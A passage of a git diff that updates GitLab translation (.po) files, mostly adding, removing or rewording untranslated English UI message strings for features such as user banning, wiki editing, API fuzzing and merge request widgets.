+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/id_ID/gitlab.po b/locale/id_ID/gitlab.po
index 0999f6244b8..e2663b62cc0 100644
--- a/locale/id_ID/gitlab.po
+++ b/locale/id_ID/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: id\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:11\n"
+"PO-Revision-Date: 2021-06-01 20:21\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,10 +593,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -779,9 +786,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -952,9 +962,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1260,6 +1267,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1281,6 +1291,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2226,9 +2245,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2316,6 +2326,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2334,6 +2347,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2382,6 +2398,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2412,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2466,6 +2500,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2547,6 +2584,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
